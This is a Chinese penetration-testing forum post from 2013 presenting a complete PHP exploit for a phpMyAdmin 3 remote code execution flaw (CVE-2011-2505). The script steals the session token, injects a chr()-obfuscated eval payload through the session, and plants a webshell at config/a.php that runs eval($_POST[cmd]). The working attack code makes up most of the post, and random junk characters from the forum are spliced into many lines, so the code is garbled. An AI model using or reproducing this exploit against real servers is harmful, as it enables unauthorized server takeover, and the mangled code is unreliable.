中国网络渗透测试联盟

标题: phpadmin3 remote code execute php版本exploit [打印本页]

作者: admin    时间: 2013-2-21 09:13
标题: phpadmin3 remote code execute php版本exploit
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
7 f. [: v% B3 S" U. ~- s4 l& c0 r. {! Z& ^5 `
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
3 S8 z8 w) _9 ?* e
; g) I# ]' l" O0 _& U6 K' y0 V首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:/ p6 Z5 |0 [7 C. s( G
一是session.auto_start = 1;
' O, p- y% {" r+ o: G# j二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。9 l' u+ p2 k5 V8 j- F
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
" b8 \  A0 N0 m1 ]; `! v
6 ?, V$ _+ N! ]3 ?在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
; Q/ @. N" i( G4 N1 ]# E& |, E: I7 W6 p' C
于是写了这个php版本的exp,代码如下:
1 Y3 p* w+ j+ y0 E' p6 G$ S2 m8 n1 s9 B3 Z7 {+ D* J
#!/usr/bin/php; n: W. H8 e4 s
<?php/ b! p0 d- K+ [9 |# z$ W
print_r('
# t8 |; A. @& M1 |0 ^! y+---------------------------------------------------------------------------+
+ z7 N4 O" ^+ h! O4 W0 }4 ?+ P4 Bpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]( b. a$ K9 \# M; H; B& O4 S
by oldjun(www.oldjun.com)$ H1 q+ {0 z( g
welcome to www.t00ls.net/ N6 |6 }* H6 {" {4 i1 K
mail: oldjun@gmail.com2 W% `2 c/ h  i( M" W
Assigned CVE id: CVE-2011-2505
6 k( k2 F/ i( t+ C$ |+---------------------------------------------------------------------------+: P8 u% |0 |3 V; x* o
');9 ~  M) t9 h* _) b1 i" M' c7 f  g
0 ?: @2 X; X& u- X1 B; c
/**; r3 v) y* L. A# o- t
* working when the directory:"config" exists and is writeable.
4 h- F& F) r% ?+ @**/5 D( g" }% s7 o% I) P' J! _

$ s* f0 Y" p2 o: b: tif ($argc < 3) {
! i: R; d# p" |" y5 b/ N9 g5 R    print_r('$ p: H( w. W( m$ F" a
+---------------------------------------------------------------------------+/ o: p! a; w, ~+ K* v: _
Usage: php '.$argv[0].' host path$ v4 x' y, [. B) [4 Y" l
host:      target server (ip/hostname); a' J, Q9 F* e5 Z2 q
path:      path to pma3
! H5 l) V$ ]! U1 G3 v# @5 e6 R) YExample:* {" I: R6 @9 K7 k
php '.$argv[0].' localhost /pma/
2 y/ U, @$ K% W+---------------------------------------------------------------------------+& S' h) ^( P6 p2 o
');
5 d0 d/ M) Y/ S" ~% N* ~    exit;' L1 B7 x& m( W5 w+ B
}
& o, Z! e! _, \( A4 q* b3 N
" ~( }1 o/ ^5 l$ S! c$host = $argv[1];
- r# V: v5 h% h- p( z) y$path = $argv[2];
4 H8 y4 O+ N: i: B0 Y; p% F' o; X, ?  A  M4 U
/**
* v6 W; ?+ T; A# p$ p3 z9 } * Try to determine if the directory:"config" exists. X% ?% y7 N( O. F6 p9 _4 y
**/
8 l* E2 R! @; W# K5 ?; I( h& V0 m7 Lecho "[+] Try to determine if the directory:config exists....\n";4 C. h( x9 U: e+ M: p) J
$returnstr=php_request('config/');) E" }3 v0 j% C4 h
if(strpos($returnstr,'404')){
1 s. l- x4 S: f) ~& p; v    exit("[-] Exploit Failed! The directory:config do not exists!\n");
( A4 z" M8 _4 B( y2 o! u! Y}8 A: {0 I1 c& n, s

% ~! {6 E" k1 j1 ]/**( ^, c7 ^% {: r
* Try to get token and sessionid
& B$ R: _. D8 C2 b% C- E8 N4 g* Y: r**/
/ W, @$ M. i* fecho "[+] Try to get token and sessionid....\n";& Y9 x) h) J9 f3 ?
$result=php_request('index.php');
) m1 O$ |5 a6 V* k$ o# O: Z2 [preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
- S& ]5 T% o- Y$token=$resp[3];
+ v7 o+ _. e, B3 K% P* A$sessionid=$resp[1];* w2 h' k: c! Z4 t
if($token && $sessionid){
1 C0 b7 f  v" o. L  N. l, K    echo "[+] tokentoken\n";  W$ y7 z. V: p- R- m) S3 q+ B7 t5 b
    echo "[+] Session IDsessionid\n";2 c3 o/ k9 M1 G# N
}else{
" |' Z' P' d9 J1 ^3 c& i    exit("[-] Can't get token and Session ID,Exploit Failed!\n");! A; }4 w: S5 \: {8 P
}
  T, ^! s( \# E' F' S7 l6 N, J/ U9 r
/**
, q7 r& L" _! T* x * Try to insert shell into session
. n. @4 N$ g" U) K2 x' e7 w**/
" f8 `% L" p) z$ S2 Kecho "[+] Try to insert shell into session....\n";3 k& k7 ~  N  ]) v
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.: @0 Z, r" D. ^
# C1 `) }: f) g  B
/**
+ U% \; ~$ T; X6 M$ D* @! |; | * Try to create webshell
% r" M0 e9 \: h! @1 P**/2 e1 h* q/ |) i. |: X2 v, A
echo "[+] Try to create webshell....\n";
- ]* ?" O; e' Sphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
0 l$ Q7 a5 h/ \) @: j( ]/**+ r  D  b# ^! t: A
* Try to check if the webshell was created successfully
2 K* j% ~+ ]4 U**/
7 a) ^- x, B* @& G5 @echo "[+] Try to check if the webshell was created successfully....\n";
" ^6 J! q6 Y3 B) V8 @: u$content=php_request('config/config.inc.php');
* |$ U# n  U! d& @if(strpos($content,'t00ls')){, O4 O) [+ g" j- Z6 ~0 j! E4 I* t/ U
    echo "[+] Congratulations! Expoilt successfully....\n";1 S  i5 O3 ?- t& x' J& i
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";4 Q- t* Z0 [- z' r/ F3 B! |
}else{
6 Y* o0 Y5 x5 I; o0 s" z- |    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
7 l% L! y9 D7 @  m}
- \7 N# J, a4 x& X3 Z
" G: }3 e4 O. J" j- w; Yfunction php_request($url,$data='',$cookie=''){- O1 M+ B$ H' {) |! G2 p
    global  $host, $path;
# o( E% O, |2 K9 E  c   
  P9 h7 N; f+ b( e/ `    $method=$data?'POST':'GET';9 Z6 B) i" S. i# u6 s* `8 u& L
   
. n* P% w" b+ p8 }    $packet = $method." ".$path.$url." HTTP/1.1\r\n";  w' c8 d# N! J3 ^' c, x
    $packet .= "Accept: */*\r\n";
& j" [# T  n/ s6 ~8 {8 _7 e! J    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
! ^' W. T) D) ]$ q' L$ W# ~" h, l# i    $packet .= "Host: $host\r\n";
& _6 }3 }/ k/ I4 r! B% _    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
, x2 j" \) P" D, t$ d    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
; \1 Y" u+ s7 a  w' N8 h7 S! q    $packet .= $cookie?"Cookie: $cookie\r\n":"";3 R0 ^+ [& m! b+ K0 a/ G; q3 c
    $packet .= "Connection: Close\r\n\r\n";- g$ \' T6 w% D; W4 y9 g4 e7 h
    $packet .= $data?$data:"";# m9 K" t# j9 D7 M

, @9 o3 `, ?* S7 {( `/ R& G    $fp = fsockopen(gethostbyname($host), 80);
, P; X" s0 P* z' M2 k1 M5 x2 J- u4 I    if (!$fp) {) [2 T/ ?, H+ _0 Z) q: c
    echo 'No response from '.$host; die;+ K6 b( |% p) M% w! t: X: |
    }# m+ m; C' i6 ?2 c! X* k% A; ]
    fputs($fp, $packet);
% M6 d6 d& o9 F+ p
! H$ [+ I. D/ X9 B# s  s. `    $resp = '';
3 |' B: D5 h- m5 g! F
, C" M3 K% y8 V0 W5 h    while ($fp && !feof($fp))
( k3 H" I1 }# Q: H! x        $resp .= fread($fp, 1024);
6 P: E6 E9 i0 P. [0 e% }% n& g
# c' ~' Z- Z6 ], a  H7 A: a; F    return $resp;
3 ]/ t) ]( d5 i3 z; c, A$ X}
/ N* t* b. n: o% ^    2 s6 R5 O; \3 ~# {# p8 I$ ]# a
?> : V* U! m' L0 H
.




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2